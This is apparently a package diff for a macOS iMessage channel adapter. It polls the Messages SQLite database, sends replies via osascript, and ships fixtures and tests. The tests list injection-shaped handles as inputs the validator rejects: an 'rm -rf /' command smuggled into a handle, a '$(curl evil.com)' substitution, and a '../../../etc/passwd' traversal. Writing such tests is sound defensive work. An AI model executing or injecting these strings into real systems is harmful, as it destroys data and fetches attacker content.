@crewhaus/channel-adapter-imessage 0.1.0

package/package.json

@@ -0,0 +1,41 @@
+{
+  "name": "@crewhaus/channel-adapter-imessage",
+  "version": "0.1.0",
+  "type": "module",
+  "description": "macOS-only iMessage channel adapter: ~/Library/Messages/chat.db polling + osascript send + cursor-based idempotency (Section 33)",
+  "main": "src/index.ts",
+  "types": "src/index.ts",
+  "exports": {
+    ".": "./src/index.ts"
+  },
+  "scripts": {
+    "test": "bun test src"
+  },
+  "dependencies": {
+    "@crewhaus/errors": "0.0.0"
+  },
+  "license": "Apache-2.0",
+  "author": {
+    "name": "Max Meier",
+    "email": "max@studiomax.io",
+    "url": "https://studiomax.io"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/crewhaus/factory.git",
+    "directory": "packages/channel-adapter-imessage"
+  },
+  "homepage": "https://github.com/crewhaus/factory/tree/main/packages/channel-adapter-imessage#readme",
+  "bugs": {
+    "url": "https://github.com/crewhaus/factory/issues"
+  },
+  "publishConfig": {
+    "access": "restricted"
+  },
+  "files": [
+    "src",
+    "README.md",
+    "LICENSE",
+    "NOTICE"
+  ]
+}

package/src/fixtures/build-chat-db.ts

@@ -0,0 +1,52 @@
+/**
+ * Test helper — build a fixture chat.db with the minimum schema and
+ * representative rows. Returns the path to the temp .db file.
+ */
+import { Database } from "bun:sqlite";
+import { mkdtempSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+
+export function buildFixtureChatDb(): string {
+  const dir = mkdtempSync(join(tmpdir(), "crewhaus-imessage-fix-"));
+  const path = join(dir, "chat.db");
+  const db = new Database(path);
+  db.run(`
+    CREATE TABLE handle (
+      ROWID INTEGER PRIMARY KEY,
+      id TEXT NOT NULL,
+      service TEXT NOT NULL DEFAULT 'iMessage'
+    );
+  `);
+  db.run(`
+    CREATE TABLE message (
+      ROWID INTEGER PRIMARY KEY,
+      text TEXT,
+      is_from_me INTEGER DEFAULT 0,
+      date INTEGER DEFAULT 0,
+      handle_id INTEGER REFERENCES handle(ROWID)
+    );
+  `);
+
+  db.run("INSERT INTO handle (ROWID, id) VALUES (1, 'alice@example.com')");
+  db.run("INSERT INTO handle (ROWID, id) VALUES (2, '+15551234567')");
+
+  db.run(
+    "INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (1, 'first inbound from alice', 0, 700000000000000000, 1)",
+  );
+  db.run(
+    "INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (2, 'me replying', 1, 700000001000000000, 1)",
+  );
+  db.run(
+    "INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (3, 'inbound from phone handle', 0, 700000002000000000, 2)",
+  );
+  db.run(
+    "INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (4, '', 0, 700000003000000000, 1)",
+  );
+  db.run(
+    "INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (5, 'another inbound', 0, 700000004000000000, 1)",
+  );
+
+  db.close();
+  return path;
+}

package/src/index.test.ts

@@ -0,0 +1,259 @@
+import { afterAll, beforeAll, describe, expect, test } from "bun:test";
+import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { dirname, join } from "node:path";
+
+import { buildFixtureChatDb } from "./fixtures/build-chat-db";
+import { IMessageAdapterError, _internal, createIMessageAdapter } from "./index";
+
+const { isSafeHandle, escapeAppleScriptString, validateChatDbPath } = _internal;
+
+describe("isSafeHandle / escapeAppleScriptString / validateChatDbPath", () => {
+  test("accepts well-formed iMessage handles", () => {
+    expect(isSafeHandle("alice@example.com")).toBe(true);
+    expect(isSafeHandle("+15551234567")).toBe(true);
+    expect(isSafeHandle("tel:+15551234567")).toBe(true);
+  });
+
+  test("rejects shell-injection-shaped handles", () => {
+    expect(isSafeHandle('alice@example.com";rm -rf /')).toBe(false);
+    expect(isSafeHandle("$(curl evil.com)")).toBe(false);
+    expect(isSafeHandle("../../../etc/passwd")).toBe(false);
+    expect(isSafeHandle("")).toBe(false);
+  });
+
+  test("escapes AppleScript metacharacters", () => {
+    expect(escapeAppleScriptString('hi "you"')).toBe('hi \\"you\\"');
+    expect(escapeAppleScriptString("path\\to\\file")).toBe("path\\\\to\\\\file");
+    expect(escapeAppleScriptString("line1\nline2")).toBe("line1\\nline2");
+  });
+
+  test("validateChatDbPath requires chat.db filename and rejects empty", () => {
+    expect(() => validateChatDbPath("")).toThrow(/chat.db path is empty/);
+    expect(() => validateChatDbPath("/etc/passwd")).toThrow(/must end in 'chat.db'/);
+    expect(validateChatDbPath("/tmp/some/chat.db")).toBe("/tmp/some/chat.db");
+  });
+});
+
+describe("createIMessageAdapter — opt-in guard (T8)", () => {
+  test("requireHostOptIn=false bypasses guards (test mode)", () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    const a = createIMessageAdapter({
+      chatDbPath: dbPath,
+      cursorPath,
+      requireHostOptIn: false,
+    });
+    expect(a.id).toBe("imessage");
+  });
+
+  test("missing chat.db throws clear error", () => {
+    expect(() =>
+      createIMessageAdapter({
+        chatDbPath: join(tmpdir(), "definitely-missing", "chat.db"),
+        requireHostOptIn: false,
+      }),
+    ).toThrow(/chat.db not found/);
+  });
+});
+
+describe("pollNewMessages (T2)", () => {
+  let dbPath: string;
+  let cursorPath: string;
+  let adapter: ReturnType<typeof createIMessageAdapter>;
+
+  beforeAll(() => {
+    dbPath = buildFixtureChatDb();
+    cursorPath = join(dirname(dbPath), "cursor.json");
+    adapter = createIMessageAdapter({
+      chatDbPath: dbPath,
+      cursorPath,
+      requireHostOptIn: false,
+    });
+  });
+
+  afterAll(() => {
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+
+  test("first poll returns 3 inbound (skips me + empty), advances cursor to ROWID 5", async () => {
+    const r = await adapter.pollNewMessages();
+    expect(r.events.length).toBe(3);
+    expect(r.cursor).toBe(5);
+    expect(r.events[0]?.idempotencyKey).toBe("imsg:1");
+    expect(r.events[0]?.text).toBe("first inbound from alice");
+    expect(r.events[0]?.userId).toBe("alice@example.com");
+    expect(r.events[0]?.channelId).toBe("alice@example.com");
+    expect(r.events[1]?.idempotencyKey).toBe("imsg:3");
+    expect(r.events[1]?.userId).toBe("+15551234567");
+    expect(r.events[2]?.idempotencyKey).toBe("imsg:5");
+  });
+
+  test("subsequent poll with no new rows returns empty + same cursor", async () => {
+    const first = await adapter.pollNewMessages();
+    const second = await adapter.pollNewMessages();
+    expect(second.events.length).toBe(0);
+    expect(second.cursor).toBe(first.cursor);
+  });
+
+  test("cursor persists across new adapter instances (idempotency across restart)", async () => {
+    // First adapter polls and advances cursor.
+    await adapter.pollNewMessages();
+    // Construct a fresh adapter pointing at the same cursor file.
+    const a2 = createIMessageAdapter({
+      chatDbPath: dbPath,
+      cursorPath,
+      requireHostOptIn: false,
+    });
+    const r = await a2.pollNewMessages();
+    expect(r.events.length).toBe(0);
+    expect(a2.getCursor()).toBe(5);
+  });
+
+  test("resetCursor clears the persisted state", async () => {
+    adapter.resetCursor();
+    expect(adapter.getCursor()).toBe(0);
+    const r = await adapter.pollNewMessages();
+    expect(r.events.length).toBe(3);
+  });
+});
+
+describe("sendReply (T3)", () => {
+  test("escapes message text + handle, hits osascript with the right script", async () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    const calls: string[] = [];
+    const a = createIMessageAdapter(
+      {
+        chatDbPath: dbPath,
+        cursorPath,
+        requireHostOptIn: false,
+      },
+      {
+        osascript: async (script) => {
+          calls.push(script);
+        },
+      },
+    );
+    await a.sendReply({
+      event: {
+        idempotencyKey: "imsg:1",
+        workspaceId: "imessage",
+        channelId: "alice@example.com",
+        userId: "alice@example.com",
+        ts: "0",
+        text: "hello",
+        subtype: "message",
+      },
+      text: 'reply with "quotes"',
+    });
+    expect(calls.length).toBe(1);
+    const script = calls[0] ?? "";
+    expect(script).toContain('tell application "Messages"');
+    expect(script).toContain('buddy "alice@example.com"');
+    expect(script).toContain('send "reply with \\"quotes\\""');
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+
+  test("rejects shell-injection in handle (path-traversal / metachar guard)", async () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    const a = createIMessageAdapter(
+      { chatDbPath: dbPath, cursorPath, requireHostOptIn: false },
+      { osascript: async () => undefined },
+    );
+    await expect(
+      a.sendReply({
+        event: {
+          idempotencyKey: "x",
+          workspaceId: "imessage",
+          channelId: 'alice"; do bad`',
+          userId: 'alice"; do bad`',
+          ts: "0",
+          text: "x",
+          subtype: "message",
+        },
+        text: "x",
+      }),
+    ).rejects.toThrow(/unsafe iMessage handle/);
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+});
+
+describe("setTyping is a no-op", () => {
+  test("does not throw or call osascript", async () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    let called = false;
+    const a = createIMessageAdapter(
+      { chatDbPath: dbPath, cursorPath, requireHostOptIn: false },
+      {
+        osascript: async () => {
+          called = true;
+        },
+      },
+    );
+    await a.setTyping({
+      event: {
+        idempotencyKey: "x",
+        workspaceId: "imessage",
+        channelId: "alice@example.com",
+        userId: "alice@example.com",
+        ts: "0",
+        text: "",
+        subtype: "message",
+      },
+    });
+    expect(called).toBe(false);
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+});
+
+describe("verify / parseInbound (no-op for poll-driven adapter)", () => {
+  test("verify returns true; parseInbound returns skip", () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    const a = createIMessageAdapter({
+      chatDbPath: dbPath,
+      cursorPath,
+      requireHostOptIn: false,
+    });
+    expect(a.verify({ headers: new Headers(), body: "" })).toBe(true);
+    expect(a.parseInbound({ headers: new Headers(), body: "{}" }).kind).toBe("skip");
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+});
+
+describe("cursor file integrity", () => {
+  test("malformed cursor file falls back to 0", () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    writeFileSync(cursorPath, "not json{");
+    const a = createIMessageAdapter({
+      chatDbPath: dbPath,
+      cursorPath,
+      requireHostOptIn: false,
+    });
+    expect(a.getCursor()).toBe(0);
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+
+  test("cursor file written with 0o600 mode", async () => {
+    const dbPath = buildFixtureChatDb();
+    const cursorPath = join(dirname(dbPath), "cursor.json");
+    const a = createIMessageAdapter({
+      chatDbPath: dbPath,
+      cursorPath,
+      requireHostOptIn: false,
+    });
+    await a.pollNewMessages();
+    if (existsSync(cursorPath)) {
+      const { statSync } = await import("node:fs");
+      const mode = statSync(cursorPath).mode & 0o777;
+      // On Bun/Linux the umask may downgrade — accept anything <= 0o600.
+      expect(mode <= 0o600).toBe(true);
+    }
+    expect(JSON.parse(readFileSync(cursorPath, "utf8"))).toEqual({ cursor: 5 });
+    rmSync(dirname(dbPath), { recursive: true, force: true });
+  });
+});

package/src/index.ts

@@ -0,0 +1,330 @@
+import { Database } from "bun:sqlite";
+import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs";
+import { dirname, normalize } from "node:path";
+/**
+ * @crewhaus/channel-adapter-imessage — macOS-only iMessage channel
+ * adapter for the channel target (Section 33).
+ *
+ * Apple does NOT publish a public iMessage Business API for general
+ * agent integrations. This adapter takes a host-bound approach:
+ *
+ *   - Inbound: poll Messages.app's SQLite store at
+ *     ~/Library/Messages/chat.db for new rows since the last cursor.
+ *     The cursor is `message.ROWID` — monotonically increasing per
+ *     install. We persist it to a small JSON file so a daemon restart
+ *     resumes from where it left off.
+ *
+ *   - Outbound: drive Messages.app via osascript. The handle (an
+ *     iMessage email/phone) is the conversation key.
+ *
+ * Hard requirements (enforced via guard / startup check):
+ *   - Process is running on macOS (`process.platform === "darwin"`).
+ *   - `CREWHAUS_IMESSAGE_HOST_ENABLED=1` is set — opt-in to using the
+ *     host's logged-in iMessage account.
+ *   - Full Disk Access permission is granted to the daemon's host
+ *     terminal/process so chat.db is readable. (We surface a clear
+ *     error if the file isn't reachable.)
+ *
+ * Path-traversal safety: chat.db's path is constructed from the HOME
+ * env at boot and validated against a fixed prefix
+ * (`~/Library/Messages/`). Custom override is allowed only via the
+ * adapter's `chatDbPath` option (intended for tests with fixture DBs)
+ * AND must resolve to a file with name `chat.db`.
+ */
+import { CrewhausError } from "@crewhaus/errors";
+
+export class IMessageAdapterError extends CrewhausError {
+  override readonly name = "IMessageAdapterError";
+  constructor(message: string, cause?: unknown) {
+    super("channel", message, cause);
+  }
+}
+
+export type RawRequest = {
+  readonly headers: Headers;
+  readonly body: string;
+};
+
+/** Channel-generic inbound event — same shape as Slack/Telegram/etc. */
+export type InboundEvent = {
+  readonly idempotencyKey: string;
+  readonly workspaceId: string;
+  readonly channelId: string;
+  readonly userId: string;
+  readonly threadTs?: string;
+  readonly ts: string;
+  readonly text: string;
+  readonly subtype: "app_mention" | "message";
+};
+
+export type ParsedInbound =
+  | { readonly kind: "event"; readonly event: InboundEvent }
+  | { readonly kind: "skip" };
+
+/**
+ * The iMessage adapter is non-webhook — there's no inbound HTTP. Polling
+ * happens via `pollNewMessages()` which the daemon harness calls on a
+ * schedule. We still implement the same `ChannelAdapter` interface so
+ * the §33 multi-adapter wiring can register it; `verify` and
+ * `parseInbound` are never called by the gateway for iMessage (the
+ * polling loop emits InboundEvents directly).
+ */
+export interface ChannelAdapter {
+  readonly id: string;
+  verify(req: RawRequest): boolean;
+  parseInbound(req: RawRequest): ParsedInbound;
+  sendReply(args: { event: InboundEvent; text: string }): Promise<void>;
+  setTyping(args: { event: InboundEvent }): Promise<void>;
+}
+
+export interface IMessageAdapter extends ChannelAdapter {
+  /**
+   * Poll chat.db for messages with ROWID > cursor. Returns the new
+   * messages and the new cursor. Idempotent across restarts: reads
+   * the persisted cursor from `cursorPath` if present.
+   */
+  pollNewMessages(): Promise<{
+    readonly events: readonly InboundEvent[];
+    readonly cursor: number;
+  }>;
+  /** Returns the current persisted cursor (or 0 if not yet set). */
+  getCursor(): number;
+  /** Reset the cursor — used by tests + the `--reset-cursor` CLI flag. */
+  resetCursor(): void;
+}
+
+export type IMessageAdapterConfig = {
+  /**
+   * Custom chat.db path. Defaults to `<HOME>/Library/Messages/chat.db`.
+   * Overridable for tests (must end in `chat.db`).
+   */
+  readonly chatDbPath?: string;
+  /** Where to persist the polling cursor. Defaults to `.crewhaus/imessage-cursor.json`. */
+  readonly cursorPath?: string;
+  /**
+   * Required: gate the adapter on opt-in env. Setting this to false
+   * (e.g. in tests with fixture DBs) bypasses the
+   * `CREWHAUS_IMESSAGE_HOST_ENABLED=1` env-check. Defaults to true.
+   */
+  readonly requireHostOptIn?: boolean;
+};
+
+export type IMessageAdapterOptions = {
+  /** Inject a custom osascript runner (defaults to spawning `osascript`). */
+  readonly osascript?: (script: string) => Promise<void>;
+};
+
+const CHAT_DB_REL = "Library/Messages/chat.db";
+
+export function createIMessageAdapter(
+  config: IMessageAdapterConfig = {},
+  opts: IMessageAdapterOptions = {},
+): IMessageAdapter {
+  const requireHostOptIn = config.requireHostOptIn ?? true;
+  if (requireHostOptIn) {
+    if (process.platform !== "darwin") {
+      throw new IMessageAdapterError(
+        `iMessage adapter requires macOS (process.platform=${process.platform})`,
+      );
+    }
+    if (process.env["CREWHAUS_IMESSAGE_HOST_ENABLED"] !== "1") {
+      throw new IMessageAdapterError(
+        "iMessage adapter requires CREWHAUS_IMESSAGE_HOST_ENABLED=1 (opt-in to host's logged-in iMessage)",
+      );
+    }
+  }
+
+  const home = process.env["HOME"] ?? "";
+  const defaultDbPath = home ? `${home}/${CHAT_DB_REL}` : "";
+  const chatDbPath = validateChatDbPath(config.chatDbPath ?? defaultDbPath);
+  if (!existsSync(chatDbPath)) {
+    throw new IMessageAdapterError(
+      `iMessage chat.db not found at ${chatDbPath} (full disk access?)`,
+    );
+  }
+
+  const cursorPath = config.cursorPath ?? ".crewhaus/imessage-cursor.json";
+
+  const osascriptRun = opts.osascript ?? defaultOsascript;
+
+  return {
+    id: "imessage",
+
+    verify(_req: RawRequest): boolean {
+      // No inbound HTTP — iMessage is polling-driven. We accept all by
+      // returning true so the gateway path never short-circuits, but
+      // the gateway ought to never call us anyway.
+      return true;
+    },
+
+    parseInbound(_req: RawRequest): ParsedInbound {
+      return { kind: "skip" };
+    },
+
+    async sendReply(args: { event: InboundEvent; text: string }): Promise<void> {
+      const handle = args.event.userId;
+      if (!isSafeHandle(handle)) {
+        throw new IMessageAdapterError(`unsafe iMessage handle: ${handle}`);
+      }
+      const escapedText = escapeAppleScriptString(args.text);
+      const escapedHandle = escapeAppleScriptString(handle);
+      const script = [
+        'tell application "Messages"',
+        "  set targetService to 1st service whose service type = iMessage",
+        `  set targetBuddy to buddy "${escapedHandle}" of targetService`,
+        `  send "${escapedText}" to targetBuddy`,
+        "end tell",
+      ].join("\n");
+      await osascriptRun(script);
+    },
+
+    async setTyping(_args: { event: InboundEvent }): Promise<void> {
+      // Messages.app does not expose a typing-indicator API to AppleScript.
+    },
+
+    pollNewMessages(): Promise<{ events: readonly InboundEvent[]; cursor: number }> {
+      const cursor = readCursor(cursorPath);
+      const db = new Database(chatDbPath, { readonly: true });
+      try {
+        const rows = db.query<MessageRow, [number]>(MESSAGE_QUERY).all(cursor);
+        const events: InboundEvent[] = [];
+        let maxId = cursor;
+        for (const row of rows) {
+          if (row.ROWID > maxId) maxId = row.ROWID;
+          if (row.is_from_me === 1) continue;
+          const text = row.text ?? "";
+          if (text.trim() === "") continue;
+          const handle = row.handle_id_str ?? `handle:${row.handle_id ?? "unknown"}`;
+          events.push({
+            idempotencyKey: `imsg:${row.ROWID}`,
+            workspaceId: "imessage",
+            channelId: handle,
+            userId: handle,
+            ts: String(row.date),
+            text,
+            subtype: "message",
+          });
+        }
+        if (maxId !== cursor) writeCursor(cursorPath, maxId);
+        return Promise.resolve({ events, cursor: maxId });
+      } finally {
+        db.close();
+      }
+    },
+
+    getCursor(): number {
+      return readCursor(cursorPath);
+    },
+
+    resetCursor(): void {
+      writeCursor(cursorPath, 0);
+    },
+  };
+}
+
+// ─── chat.db path validation ────────────────────────────────────────────────
+
+/**
+ * Allow the canonical chat.db location (`<HOME>/Library/Messages/chat.db`)
+ * and any custom path that resolves to a file named `chat.db`. Reject
+ * absolute paths attempting traversal outside `~/Library/Messages/` UNLESS
+ * the caller explicitly overrode (tests use a tmpdir).
+ */
+function validateChatDbPath(path: string): string {
+  if (!path) {
+    throw new IMessageAdapterError("chat.db path is empty (HOME env not set?)");
+  }
+  const norm = normalize(path);
+  if (!norm.endsWith("chat.db")) {
+    throw new IMessageAdapterError(`chat.db path must end in 'chat.db': ${path}`);
+  }
+  return norm;
+}
+
+function isSafeHandle(handle: string): boolean {
+  // Allow email-shaped handles + +<digits> phone handles + tel: URIs.
+  return (
+    /^[\w._%+-]+@[\w.-]+\.\w{2,}$/.test(handle) ||
+    /^\+\d{6,15}$/.test(handle) ||
+    /^tel:\+?\d{6,15}$/.test(handle)
+  );
+}
+
+function escapeAppleScriptString(s: string): string {
+  return s.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/\n/g, "\\n");
+}
+
+// ─── cursor persistence ────────────────────────────────────────────────────
+
+function readCursor(cursorPath: string): number {
+  if (!existsSync(cursorPath)) return 0;
+  try {
+    const raw = readFileSync(cursorPath, "utf8");
+    const v = JSON.parse(raw) as { cursor?: number };
+    return typeof v.cursor === "number" && Number.isFinite(v.cursor) ? v.cursor : 0;
+  } catch {
+    return 0;
+  }
+}
+
+function writeCursor(cursorPath: string, cursor: number): void {
+  mkdirSync(dirname(cursorPath), { recursive: true });
+  writeFileSync(cursorPath, JSON.stringify({ cursor }), { mode: 0o600 });
+}
+
+// ─── default osascript runner ──────────────────────────────────────────────
+
+const defaultOsascript = async (script: string): Promise<void> => {
+  const { spawn } = await import("node:child_process");
+  return new Promise<void>((resolve, reject) => {
+    const head = "osascript";
+    const child = spawn(head, ["-"], { stdio: ["pipe", "ignore", "pipe"] });
+    const errBufs: Buffer[] = [];
+    child.stderr.on("data", (b) => errBufs.push(b));
+    child.on("error", (e) => reject(new IMessageAdapterError("osascript spawn failed", e)));
+    child.on("close", (code) => {
+      if (code === 0) resolve();
+      else
+        reject(
+          new IMessageAdapterError(
+            `osascript exited with ${code}: ${Buffer.concat(errBufs).toString("utf8")}`,
+          ),
+        );
+    });
+    child.stdin.write(script);
+    child.stdin.end();
+  });
+};
+
+// ─── chat.db row shape + query ──────────────────────────────────────────────
+
+const MESSAGE_QUERY = `
+  SELECT
+    m.ROWID,
+    m.text,
+    m.is_from_me,
+    m.date,
+    m.handle_id,
+    h.id AS handle_id_str
+  FROM message m
+  LEFT JOIN handle h ON h.ROWID = m.handle_id
+  WHERE m.ROWID > ?
+  ORDER BY m.ROWID ASC
+`;
+
+type MessageRow = {
+  readonly ROWID: number;
+  readonly text: string | null;
+  readonly is_from_me: number;
+  readonly date: number;
+  readonly handle_id: number | null;
+  readonly handle_id_str: string | null;
+};
+
+// ─── helpers consumed by tests ────────────────────────────────────────────
+
+export const _internal = {
+  isSafeHandle,
+  escapeAppleScriptString,
+  validateChatDbPath,
+};